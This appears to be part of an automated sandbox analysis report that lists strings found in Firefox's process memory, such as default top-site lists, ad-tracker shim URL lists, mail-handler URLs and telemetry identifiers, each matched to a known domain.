Source: firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - prompting because silent install is disabled. Notifying observers. topic: update-available, status: show-prompthttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true equals www.twitter.com (Twitter)
Source: firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - prompting because silent install is disabled. Notifying observers. topic: update-available, status: show-prompthttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WebChannel/this._originCheckCallback@mozilla.org/network/protocol;1?name=filedevtools-commandkey-profiler-capture@mozilla.org/uriloader/handler-service;1browser.fixup.dns_first_for_single_words^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$@mozilla.org/network/protocol;1?name=defaultbrowser.urlbar.dnsResolveFullyQualifiedNamesdevtools/client/framework/devtoolsUnable to start devtools server on Failed to listen. Callback argument missing.DevToolsStartup.jsm:handleDebuggerFlag{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Failed to execute WebChannel callback:browser and that URL. Falling back to and deploy previews URLs are allowed.resource://devtools/server/devtools-server.jsDevTools telemetry entry point failed: Got invalid request to save JSON dataNo callback set for this channel.resource://devtools/shared/security/socket.jsdevtools-commandkey-profiler-start-stopdevtools-commandkey-javascript-tracing-toggledevtools.debugger.remote-websocketdevtools.debugger.features.javascript-tracingreleaseDistinctSystemPrincipalLoaderhttp://www.inbox.lv/rfc2368/?value=%s@mozilla.org/uriloader/dbus-handler-app;1get FIXUP_FLAG_FORCE_ALTERNATE_URIhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sgecko.handlerService.defaultHandlersVersionresource://gre/modules/DeferredTask.sys.mjs^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjs^([a-z+.-]+:\/{0,3})([^\/@]+@).+Can't invoke URIFixup in the content processextractScheme/fixupChangedProtocol<resource://gre/modules/JSONFile.sys.mjshttp://poczta.interia.pl/mh/?mailto=%s^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$){33d75835-722f-42c0-89cc-44f328e56a86}https://e.mail.ru/cgi-bin/sentmsg?mailto=%sisDownloadsImprovementsAlreadyMigratedget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPhandlerSvc fillHandlerInfo: don't know this typeget FIXUP_FLAGS_MAKE_ALTERNATE_URIhttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/web-handler-app;1resource://gre/modules/FileUtils.sys.mjshttps://mail.inbox.lv/compose?to=%s@mozilla.org/uriloader/local-handler-app;1{c6cf88b7-452e-47eb-bdc9-86e3561648ef}browser.fixup.domainsuffixwhitelist.Scheme should be either http or https_injectDefaultProtocolHandlersIfNeededhttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%s@mozilla.org/network/file-input-stream;1_finalizeInternal/this._finalizePromise<extension/bing@search.mozilla.org/extendedData equals www.yahoo.com (Yahoo)
Source: firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000027.00000002.3055217724.000001EF29EEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2917321112.000002593A403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2917321112.000002593A403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2884763162.0000025934458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000015.00000002.2884763162.0000025934458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000015.00000002.2917321112.000002593A40F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2924708904.000002593AC08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2924708904.000002593AC08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsC:\Program Files\Mozilla Firefox\browser\features://id.rambler.ru/rambler-id-helper/auth_events.jsassemblePayloadWithMeasurements - caught exceptionresource://gre/modules/TelemetryScheduler.sys.mjssaveShutdownPings - failed to submit first shutdown pingassemblePayloadWithMeasurements/measurementsContainUtility<assemblePayloadWithMeasurements/payloadObj.lateWrites<saveShutdownPings - failed to submit saved-session pingresource://gre/modules/TelemetryTimestamps.sys.mjsassemblePayloadWithMeasurements/measurementsContainGPU<assemblePayloadWithMeasurements/payloadObj.addonDetails<toolkit.telemetry.shutdownPingSender.enabledFirstSessionsaveShutdownPings - failed to submit shutdown ping_onEnvironmentChange - throttling; last change was assemblePayloadWithMeasurements/payloadObj.slowSQL<assemblePayloadWithMeasurements/measurements.keyedScalars<datareporting.policy.dataSubmissionPolicyBypassNotificationassemblePayloadWithMeasurements/measurementsContainSocket<datareporting.policy.dataSubmissionPolicyNotifiedTimehttps://www.amazon.com/exec/obidos/external-search/assemblePayloadWithMeasurements/payloadObj.fileIOReports<assemblePayloadWithMeasurements/measurements.histograms<datareporting.policy.dataSubmissionPolicyAcceptedVersionresource://gre/modules/addons/AddonSettings.sys.mjscolor-mix(in srgb, currentColor 25%, transparent)browser.engagement.session_time_excluding_suspendgetScalars - We only support scalars in subsessions.browser.engagement.session_time_including_suspendassemblePayloadWithMeasurements/measurements.keyedHistograms<_sendDailyPing - Failed to save the aborted session pingresource://gre/modules/TelemetryControllerBase.sys.mjsassemblePayloadWithMeasurements/measurements.scalars<linear-gradient(90deg, #9059FF 0%, #FF4AA2 52.08%, #FFBD4F 100%) equals www.rambler.ru (Rambler)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2944148777.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2938420212.0000025940103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2924708904.000002593ACA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/c equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2910935393.00000259395ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2924708904.000002593ACA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2923113526.000002593AB2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
